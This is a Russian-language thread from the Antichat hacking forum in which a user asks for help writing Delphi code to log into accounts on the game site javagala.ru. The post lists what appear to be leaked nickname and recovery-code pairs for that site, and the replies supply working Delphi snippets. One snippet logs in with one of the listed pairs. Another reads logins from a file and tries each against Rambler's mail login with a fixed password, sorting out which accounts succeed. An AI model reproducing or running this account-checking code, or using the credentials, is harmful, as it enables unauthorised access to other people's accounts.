Форум АНТИЧАТ - Авторизация на ГЗ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)

- - Авторизация на ГЗ (https://forum.antichat.xyz/showthread.php?t=199998)

Авторизация на ГЗ

Помогите люди добрые написать авторизацию на http://javagala.ru/ пишу всё как по видео авторизация на однокласниках ну не получатся помогите кому не трудно
вот форма

Код:

<form action='/auth.php' name='login' method='post'>

коды для авторизации

Код:

MASTER_KING;WS79J9NB50

///SPONSOR///;w9wnnr1i

[{SARUMAN}];HDS9NKX9

Мс-васян-;DTVZFVHLKK

x_CoRpse_x;76kr4ufq5t

Ярик092;8CYQY7BEIB

jbpvv46j9v

DTVZFVHLKK

6ohbjouttz

Z6RBOV359P

p1uubodt

vuxbyqrxv1

EMAULSBLN9

loqj7j84op

исходник

Код:

unit Unit1;





interface



uses

  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,

  IdHTTP;



type

  TForm1 = class(TForm)

    Button1: TButton;

    Edit1: TEdit;

    Label1: TLabel;

    Label2: TLabel;

    Edit2: TEdit;

    Label3: TLabel;

    IdHTTP1: TIdHTTP;

    Edit3: TEdit;

    Edit4: TEdit;

   function Pars(T_, ForS, _T: string): string;

    procedure Button1Click(Sender: TObject);

  private

    { Private declarations }

  public

    { Public declarations }

  end;



var

  Form1: TForm1;



implementation



{$R *.dfm}



procedure TForm1.Button1Click(Sender: TObject);

var StrPage, ssylka:string;

    Data:TstringList;

begin

 idhttp1.HandleRedirects:=true;

 StrPage:=idhttp1.Get('http://javagala.ru/');

 ssylka:=Pars('<form action='"',StrPage,'"');

 Data:=TstringList.Create;

 Data.Add('nick='+Edit1.Text);

 Data.Add('recover='+Edit2.Text);

  Data.Add('x='+Edit3.Text);

 Data.Add('y='+Edit4.Text);



 StrPage:=idhttp1.Post(ssylka, Data);

 if Pos('exit', StrPage)<>0 then

  Label3.Caption:='Залогинились'

 else Label3.Caption:='Не залогинились';

 Data.Free;

end;



function TForm1.Pars(T_, ForS, _T: string): string;

var

  a, b: integer;

begin

  Result := '';

  if (T_ = '') or (ForS = '') or (_T = '') then

    Exit;

  a := Pos(T_, ForS);

  if a = 0 then

    Exit

  else

    a := a + Length(T_);

  ForS := Copy(ForS, a, Length(ForS) - a + 1);

  b := Pos(_T, ForS);

  if b > 0 then

    Result := Copy(ForS, 1, b - 1);

end;





end.

ну во первых процедура парс никчему, щас попробую написать тебе

Вот моя авторизация на рамблере подстрой подсебя

Цитата:

procedure TForm1.Button1Click(Sender: TObject);
var
params : tstringlist;
login,mail,s:string;
f:TextFile;

begin
login:='1aydar1992';
params := TStringList.Create;
AssignFile(f,'bazamail.txt');
reset(f);
while not eof(f) do
begin
readln(f,login);
try
params.Add('back=http://mail.rambler.ru/mail/startpage');
params.Add('login='+login);
params.Add('domain=rambler.ru');
params.Add('passw=12345sdfsdfq');
memo1.Text := IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',params);
finally
if Pos('logout',memo1.Text)>0 then
memo2.text:=login else memo3.text:=login;
params.Free;
end;
end;
CloseFile(f);
end;
end.

Цитата:

Сообщение от aydar

Вот моя авторизация на рамблере подстрой подсебя

Какие компоненты на форму выносить ?

PHP код:


		
			
var

 par:tstringlist;

begin

   par:=TStringList.Create;

   par.Add('nick=Мс-васян-');

   par.Add('recover=DTVZFVHLKK');

   memo1.Text:=idhttp2.Post('http://javagala.ru/auth.php',par);

   if Pos('анкета',memo1.Text) <> 0 then ShowMessage('olo');

end;

Мне кажется вся проблема с этом:

Цитата:

пишу всё как по видео авторизация на однокласниках

Тс трафик анализатор в рукой в бой

Огромное спасибо всем за помощь всё разобрался.